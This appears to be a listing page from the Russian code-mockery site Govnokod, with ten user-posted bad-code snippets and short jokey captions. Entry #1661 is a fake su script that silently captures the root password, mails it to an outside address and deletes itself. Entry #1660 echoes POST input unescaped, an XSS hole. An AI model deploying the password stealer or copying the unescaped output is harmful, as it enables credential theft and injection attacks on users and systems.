1. Си / Говнокод #1665

    −148.5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    switch (c)
    		{
    		case 'A': case 'B': case 'C': case 'D': case 'E': case 'F':
    		case 'G': case 'H': case 'I': case 'J': case 'K': case 'L':
    		case 'M': case 'N': case 'O': case 'P': case 'Q': case 'R':
    		case 'S': case 'T': case 'U': case 'V': case 'W': case 'X':
    		case 'Y': case 'Z':
    		case '_':
    		case 'a': case 'b': case 'c': case 'd': case 'e': case 'f':
    		case 'g': case 'h': case 'i': case 'j': case 'k': case 'l':
    		case 'm': case 'n': case 'o': case 'p': case 'q': case 'r':
    		case 's': case 't': case 'u': case 'v': case 'w': case 'x':
    		case 'y': case 'z':
    		case '0': case '1': case '2': case '3': case '4':
    		case '5': case '6': case '7': case '8': case '9':
    		case 127: case 128: case 129: case 130: case 131: case 132:
    		case 133: case 134: case 135: case 136: case 137: case 138:
    		case 139: case 140: case 141: case 142: case 143: case 144:
    		case 145: case 146: case 147: case 148: case 149: case 150:
    		case 151: case 152: case 153: case 154: case 155: case 156:
    		case 157: case 158: case 159: case 160: case 161: case 162:
    		case 163: case 164: case 165: case 166: case 167: case 168:
    		case 169: case 170: case 171: case 172: case 173: case 174:
    		case 175: case 176: case 177: case 178: case 179: case 180:
    		case 181: case 182: case 183: case 184: case 185: case 186:
    		case 187: case 188: case 189: case 190: case 191: case 192:
    		case 193: case 194: case 195: case 196: case 197: case 198:
    		case 199: case 200: case 201: case 202: case 203: case 204:
    		case 205: case 206: case 207: case 208: case 209: case 210:
    		case 211: case 212: case 213: case 214: case 215: case 216:
    		case 217: case 218: case 219: case 220: case 221: case 222:
    		case 223: case 224: case 225: case 226: case 227: case 228:
    		case 229: case 230: case 231: case 232: case 233: case 234:
    		case 235: case 236: case 237: case 238: case 239: case 240:
    		case 241: case 242: case 243: case 244: case 245: case 246:
    		case 247: case 248: case 249: case 250: case 251: case 252:
    		case 253: case 254: case 255: 
    		  continue;
    
    		default:
    		  phase1_ungetc (c);
    		  break;
    		}

    нашел в недрах gettext

    aleo, 24 Августа 2009

    Комментарии (28)
  2. Pascal / Говнокод #1664

    +85

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    pocedure TForm1.line(x, y, N: integer; l: real; d: boolean);
    var
      x1,x2,x3,x4,y1,y2,y3,y4: integer;
      begin
        if l>2 then
          begin
              if d then
                case N  of
                  1: begin
                        x1:=x; y1:=y;
                        x2:=x1; y2:=y1-round(1);
                        x3:=x1+round(1); y3:=y1-round(1);
                        x4:=x1+round(1); y4:=y1;
                  end;
                  2: begin
                        x2:=x; y2:=y;
                        x1:=x2; y1:=y2+round(1);
                        x3:=x2+Round(1); y3:=y2;
                        x4:=x2+Round(1); y4:=y2+round(1);
                     end;
                  3: begin
                        x3:=x; y3:=y;
                        x1:=x3-round(1); y1:=y3+round(1);
                        x2:=x3-round(1); y2:=y3;
                        x4:=x2+round(1); y4:=y2+round(1);
    
                  end;
                  4: begin
                  x4:=x; y4:=y;
                  x1:=x4-round(1); y1:=y4;
                  x2:=x4-round(1); y2:=y4-round(1);
                  x3:=x4; y3:=y4-round(1);
                  end;
                end
                else
                 case N  of
                  1: begin
                        x1:=x; y1:=y;
                        x2:=x1; y2:=y1+round(1);
                        x3:=x1+round(1); y3:=y1+round(1);
                        x4:=x1+round(1); y4:=y1;
                  end;
                  2: begin
                        x2:=x; y2:=y;
                        x1:=x2; y1:=y2-round(1);
                        x3:=x2-Round(1); y3:=y2;
                        x4:=x2-Round(1); y4:=y2-round(1);
                     end;
                  3: begin
                        x3:=x; y3:=y;
                        x1:=x3+round(1); y1:=y3-round(1);
                        x2:=x3+round(1); y2:=y3;
                        x4:=x2-round(1); y4:=y2-round(1);
    
                  end;
                  4: begin
                  x4:=x; y4:=y;
                  x1:=x4+round(1); y1:=y4;
                  x2:=x4+round(1); y2:=y4+round(1);
                  x3:=x4; y3:=y4+round(1);
                  end;
                end;
                with Canvas do
                  begin
                    Pen.Color :=RGB(Random(256),Random(256),Random(256));
                    MoveTo(x1,y1);
                    LineTo(x2,y2);
                    LineTo(x3,y3);
                    LineTo(x4,y4);
                    LineTo(x1,y1);
                    Brush.Color:=Pen.Color;
                    FloodFill((x2+x3) div 2, (y2+y1) div 2, Pen.Color,fsBorder);
                    if l=200 then line (x1,y1,1,1/2, not d);
                    if n<>1 then line (x1,y1,1,1/2, not d);
                    if n<>2 then line (x2,y2,2,1/2, not d);
                    if n<>3 then line (x3,y3,3,1/2, not d);

    угадайте...:D

    ChakuZa, 24 Августа 2009

    Комментарии (7)
  3. Pascal / Говнокод #1663

    +95.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    begin
      if key=13 then Halt;
      
    end;
    
    procedure TForm1.Timer1Timer(Sender: TObject);
    var p: TPoint;
    begin
      p.X:=Random(Screen.Width);
      p.Y:=Random(Screen.Height);
      SetCursorPos(p.X,p.Y);
      mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN,p.X,p.Y,0,0);
      mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP,p.X,p.Y,0,0);
    end;
    
    end.

    :DDD

    ChakuZa, 24 Августа 2009

    Комментарии (12)
  4. C# / Говнокод #1662

    +126.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    else
    																		{
    																			if ((index == 103))
    																			{//bla
    																			}
    																			else
    																			{
    																				if ((index == 104))
    																				{//bla
    																				}
    																			}
    																		}
    																	}
    																}
    															}
    														}
    													}
    												}
    											}
    										}
    									}
    								}
    							}
    						}
    					}
    				}
    			}
    		}
    	}
    }                                                                                                                                                                                                                                                                                                                                                        } }}}}}}}}}}}}}}}}}}}}}}}}}

    Конец однородного файла (В моем маленьком случае 300Kb) сгенерированным Microsoft EdmGen.

    62316e, 24 Августа 2009

    Комментарии (7)
  5. Куча / Говнокод #1661

    +76.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #/usr/local/bin/bash
    
    # False SU utility
    
    # mail to send passwd
    mail="[email protected]"
    # go
    echo -n "Password:"
    read -s passwd
    echo ""
    echo "su: Sorry"
    
    echo "root password from `hostname`: $passwd" | mail -s "Fuck the system" $mail
    
    # вернем все на место
    alias su=su
    #самоуничтожение
    rm $0

    Фейковый su )))

    Darwin, 23 Августа 2009

    Комментарии (10)
  6. PHP / Говнокод #1660

    +152.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    <html><body>
    <?php
    	if (isset($_POST['regg'])){
    ?>
    <form method="post" action="2.php">
    name
    <input type='text' name='name' />
    <input type='submit' name='regg' value='otpr' />
    </form>
    <?php
    	} else {
    echo $_POST['name'];
    }
    ?>
    </body></html>

    Tex, 22 Августа 2009

    Комментарии (13)
  7. Си / Говнокод #1659

    +136.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #define CHAINFREE_STATIC_DAT(a, field) {\
        ptr=(typeof(ptr))&(a);\
        if(((typeof(&(a)))(ptr))->field)\
            free(((typeof(&(a)))(ptr))->field);\
        ptr=(typeof(ptr))(((typeof(&a))(ptr))->next);\
        if(ptr) {\
            while(((typeof(&(a)))(ptr))->next) {\
                if(((typeof(&(a)))(ptr))->field)\
                    free(((typeof(&(a)))(ptr))->field);\
                ptr=(typeof(ptr))(((typeof(&a))(ptr))->next);\
                free(((typeof(&(a)))(ptr))->prev);\
            }\
            if(((typeof(&(a)))(ptr))->field)\
                free(((typeof(&(a)))(ptr))->field);\
            free(ptr);\
        }\
        memset(&(a), 0, sizeof(a));\
    }

    Кол-во скобок радует :)

    xaionaro, 22 Августа 2009

    Комментарии (13)
  8. PHP / Говнокод #1658

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    /**
         * Set flag indicating whether or not request has been dispatched
         *
         * @param boolean $flag
         * @return Zend_Controller_Request_Abstract
         */
        public function setDispatched($flag = true)
        {
            $this->_dispatched = $flag ? true : false;
            return $this;
        }

    вот такую штуку сегодня увидел

    getme, 22 Августа 2009

    Комментарии (17)
  9. PHP / Говнокод #1657

    +153.9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    $basket=array('fk_user'=>$_SESSION['user']['pk_user'],
    						'fk_album'=>$pk_album,
    						'fk_song'=>$song['pk_song'],
    						'date'=>$time,
    						'title'=>str_replace('"', '\"', $album['title'].' - '.$song['name']),
    						'symlink'=>$r1[$k],
    						'filesize'=>$song['filesize'],
    						'track'=>$song['track'],
    						);

    Очень правильный эскейп

    TWINc, 21 Августа 2009

    Комментарии (3)
  10. Java / Говнокод #1656

    +76

    1. 1
    2. 2
    3. 3
    if(!doc.getElementsByTagName(TAG_NAME).equals(null)){
    ///...
    }

    dimmik, 21 Августа 2009

    Комментарии (3)